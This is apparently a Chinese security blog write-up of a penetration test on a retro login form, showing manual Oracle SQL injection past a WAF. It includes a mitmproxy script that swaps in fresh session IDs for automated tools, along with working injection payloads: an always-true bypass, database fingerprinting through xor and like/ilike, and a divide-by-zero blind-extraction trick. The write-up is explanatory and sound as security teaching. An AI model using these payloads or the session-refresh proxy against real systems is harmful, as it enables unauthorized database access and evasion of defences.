【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

admin 2025年4月24日21:30:13【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅已关闭评论0 views字数 591阅读1分58秒阅读模式
首发先知社区作者:MNEKOhttps://
            xz.aliyun.com/spa/news/
          17819

由于自己太懒了,之前的sql注入上篇直到站修了都没出文章,有点尴尬。

不过刚好有一个新的案例,开拓思路也挺合适的,所以就标题党一波了,让各位师傅看笑话了,也请见谅

记一次绕waf的过程(上)

0x01 一个登录框

上班时遇到了一个登录框

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

看着这个复古的界面,于是上手除了admin123456之外顺手点了个 '

于是弹出了一条有意思的报错

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

这就有意思了,毕竟已经很久没在登陆框遇到sql注入了,当我想当然的认为万能密码可以秒时,事情出现了一丢丢的不对劲

试了一下几个常见的万能密码发现进不去,这就有意思了,于是准备跑一下sqlmap。

0x02 准备工作

首先抓包后进行简单分析。

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

发现请求包中存在一个参数sessionID,这个参数不能复用,每次发包需要从服务器重新获取,而且有效期特别短

有点麻烦,可以在本地起个代理,帮我请求并替换数据包里的sessionID

这一步操作可以用mitmproxy来实现

mitmproxy 是一个控制台工具,可以实时拦截、修改 HTTP/HTTPS 请求和响应,并且支持用 Python 脚本对 HTTP 通信进行修改

这里我们直接拜托GPT菩萨帮我写一个简单的脚本

from mitmproxy import httpimport requestsimport jsonAUTH_URL = "
            http://target.com/"
          TARGET_VALUE = "__daisukidayo__"def fetch_sid():    """获取 sid"""    try:        response = 
            requests.post(AUTH_URL,
           data={"authType""md5"}, headers={"Content-Type""application/x-www-form-urlencoded"})        if 
            response.status_code
           == 200:            data = 
            json.loads(response.text)
                      sid = 
            data.get(
          "sessionID""default_sid")            print(f"[*] Retrieved SID: {sid}")            return sid    except Exception as e:        print(f"[!] Error fetching SID: {e}")    return "default_sid"def request(flow: 
            http.HTTPFlow
          ):    """拦截 HTTP 请求并修改"""    sid = fetch_sid()    if 
            flow.request.method
           == "POST":        content_type = 
            flow.request.headers.get(
          "Content-Type""")        if "application/x-www-form-urlencoded" in content_type:            body = 
            flow.request.text
                      modified_body = 
            body.replace(TARGET_VALUE,
           sid)            
            flow.request.text
           = modified_body            print(f"Modified POST Data: {body} -> {modified_body}")

把请求包里的sessionID改为脚本中指定的 TARGET_VALUE,随后启动代理

mitmdump -s 
            proxyyy.py
           --listen-host 127.0.0.1 --listen-port 18080
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

到此为止一切就绪,可以开始测试了

0x03 注入

首先尝试sqlmap

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

直接寄,那就只能手注了

先来一手万能密码

admin'or 1=1 --+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

虽然不能直接登录,但是也没报错,说明代码成功闭合了,可以继续往下操作

那么第一步自然是确认数据库类型

由于是jsp站点,首先就排除了mssql

再加上注入点双引号不敏感,有点想当然的以为是mysql了,fuzz了一波payload之后发现不对劲了

不仅给我把ip给ban了,得到的结果也是各种报错

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

想了一下,把注释符换成了 #

结果报错了

admin'or 1=1 #
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

那这大概率不是mysql了,用xor试一下

admin'OR'a'^'a'=1--+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

都报错了,说明不支持 ^运算,也就是实锤不是mysql了,市面上数据库就那么几个,要么pg要么oracle

想了下既然前面的 1=1可以用,那么就可以用like和ilike来判断剩下的可能性

构造payload

admin'OR'a'like'a'--+
admin'OR'a'ilike'a'--+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

基本上可以确定是oracle了,这个时候自己也变得不安起来了,毕竟保不齐也可能是什么没见过的国产数据库

不过事已至此也只能继续往下测了

也是到了整个注入中最麻烦的步骤,找到可以用的函数

特别是盲注,看不到报错信息,不仅要考虑报错是不是因为函数不可用,也要考虑可能存在的语法错误

还是比较幸运,首次尝试就发现 ascii是可以用的

admin'orascii('a')=1--+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

ascii('a')从结果上来说是不等于1的,但并没有语法错误,所以并不会报错

admin'or ascii('a')=1--+相当于 admin'or false --+

到这一步为止,构建测试语句的基本要素就已经集齐了,剩下的就是尝试把数据搞出来证明漏洞的危害了

因为oracle数据库是不支持除0的

可以考虑先从测试环境开始构造payload

https://
            livesql.oracle.com/ords/
          

因为oracle数据库除0会报错

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

所以我们可以利用这个特性结合 ascii函数来构造payload

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

这样就得到了最基本的测试payload

admin'or+(1/(ascii('a')-97))=1--+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

剩下的就是找出任何可以证明注入可被利用的数据了

在一番痛苦的摸黑探索下,发现user是可用的,没有被拦

于是构造新的payload

【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

迫不及待的丢到yakit上爆破一波

Payload:

admin'or+(1/(ascii('a')-97))=1--+
【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅

剩下的操作思路也就大同小异了,不过这个站不仅卡还会ban ip,只能一个函数一个函数的去摸索,也就不继续浪费时间,直接写完报告收工了~~

0x04 总结

整个测试过程如下

从登陆框开始 --> 构造1=1 成功闭合 --> %23不能用猜测不是mysql --> xor 再次确认不是mysql --> 尝试like&&ilike 排除pg --> 函数过滤 fuzz --> 想到 /0报错 --> 找到user

虽然写出来后并没有多长的内容,但实际上也是消耗了很长的时间。时间主要也是花在了fuzz和寻找可用函数的过程中。尤其是在盲注的情况下,每一个报错的原因都可能是语法错误、函数不可用,或者是代码限制和规则拦截,这都需要通过不断的尝试来找到正确的payload。

说到底还得靠更多的实战经验来积累自己对注入的理解,毕竟看不明白还能学能搜,但想不到的东西那就真是想不到了。

这里也是要大大的感谢英勇无敌帅气机智的方师傅大力帮助,助我拿下此处sql注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日21:30:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【SQLmap 下】记一次奇妙的Oracle注入绕WAF之旅https://cn-sec.com/archives/3992991.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.